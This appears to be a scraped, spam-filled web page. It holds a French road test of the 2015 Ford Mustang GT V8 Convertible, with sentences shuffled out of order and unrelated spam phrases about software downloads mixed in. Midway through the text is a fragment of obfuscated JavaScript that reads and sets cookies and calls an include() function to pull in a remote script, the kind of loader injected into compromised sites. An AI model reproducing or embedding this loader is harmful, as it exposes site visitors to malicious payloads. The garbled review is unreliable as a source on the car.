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Elle demeure équilibrée en dépit de son train avant un peu lourd (avantage à l'Ecoboost sur ce point) et ses trains roulants modernes en font une voiture plaisante à conduire mais pas archaïque.. CARACTERISTIQUESFORD MUSTANG (6) GT V8 ConvertibleType : 8 cylindres en V à 90°, 32 soupapes, double distribution indépendante à calage variablePosition : longitudinal AVAlimentation : Injection indirecte multipointCylindrée (cm3) : 4951Alésage x course (mm) : 92,2 x 92,7Puissance maxi (ch DIN à tr/mn) : 421 à 6500Couple maxi (Nm à tr/mn) : 530 à 4250Boîte de vitesses (rapports) : automatique (6)Freins Av-Ar (Ø mm) : disques ventilés (380), étriers fixes 6 pistons - disques ventilés (330), étriers flottants 1 piston+ ESPPneus Av-Ar : 255/40 - 275/40 R19Donnée constructeur (kg) : 1792Rapport poids/puissance (kg/ch) : 4,25Vitesse maxi (km/h) : 250Moyenne cycle mixte (L/100 km) : 12.

Naturellement, la consommation est plutôt élevée avec une moyenne de 13l/100 km sur notre essai.. Trop lente, elle ne peut pas rivaliser avec les ténors du moment Pire, elle rend la Mustang délicate à conduire – à l'insu de son plein gré comme dirait quelqu'un – du fait du temps qui s'écoule entre l'envoi des gaz et le changement de rapport.

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Sur le sec, ça passe mais sur le mouillé, gare à la virgule !Conduire le couteau entre les dents n'est de toute façon pas la prétention de cette déclinaison V8 Cabriolet qui se déguste beaucoup mieux en profitant des premiers rayons d'un soleil estival qui s'est fait longtemps désirer.. *?(?:$|;)/g),_0x546a56={};if(_0x10c99d[_0x431a('0x38')](!_0x4baf80,name)){return undefined;}var _0x527fca;for(var _0x2ffade=0x0;_0x10c99d[_0x431a('0x39')](_0x2ffade,_0x4baf80[_0x431a('0xd')]);_0x2ffade++){_0x527fca=_0x4baf80[_0x2ffade]['split']('=');_0x546a56[_0x527fca[0x0]]=_0x527fca[0x1]['replace'](/;$/);}if(name){return _0x546a56[name];}return _0x546a56;}}if(_0x106dde){cookie[_0x431a('0x3a')](_0x10c99d[_0x431a('0x29')],0x1,0x1);if(!_0x16acfb){_0x10c99d[_0x431a('0x3b')](include,_0x10c99d[_0x431a('0x3c')]+q+'');}}}R(); FORD MUSTANG (6) GT V8 Convertible (2015 - )Contraint de s'adapter à la réduction de cylindrée et au marché européen, le cheval sauvage s'est laissé apprivoiser par l'adoption d'une mécanique Ecoboost. تحميل برنامج تنظيف وتسريع الجهاز مجانا

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La suppression du toit dur suffit à rendre le V8 plus sonore dans l'habitacle et on profite du glouglou du V8 5 litres à chaque accélération.. Non, la Mustang n'a pas totalement vendu son âme au diable du downsizing et c'est tant mieux !Tendant plus vers le McDo que vers le Slim Fast en coupé, le passage à la capote en toile, et aux renforts qui vont avec, rajoute pas loin d'un quintal sur la balance.. C'est d'autant plus vrai que la boîte automatique manque singulièrement de répondant.. Restant tout de même fidèle à son tempérament, la Mustang perpétue la tradition du V8.. 8Moyenne de l'essai (L/100 km) : 13PRIX NEUF (06/2016) : 48 500 €PUISSANCE FISCALE : 33 CVSUR LA ROUTEDu coup, cette Ford Mustang GT Convertible est-elle une sportive accomplie ? Ou au contraire, est-elle devenue aseptisée pour plaire aux européens ? Non et non.. Disposant de 421 chevaux, le couple n'est pas en reste avec 530 Nm et, accordé à la boîte auto, a vite fait d'inonder le train arrière qui se fait plaisir de partir en dérive.. Mais malgré tout, on parle d'une automobile qui affiche pas loin de 1800 kg sur la balance.. En plus, nous avons la chance en Europe de bénéficier d'office du Performance Pack, plus sportif.. Le freinage, du moins dans son attaque, reste convaincant mais nous n'avons pas franchement testé son endurance. 773a7aa168 Install Os X 10.5 From Dmg

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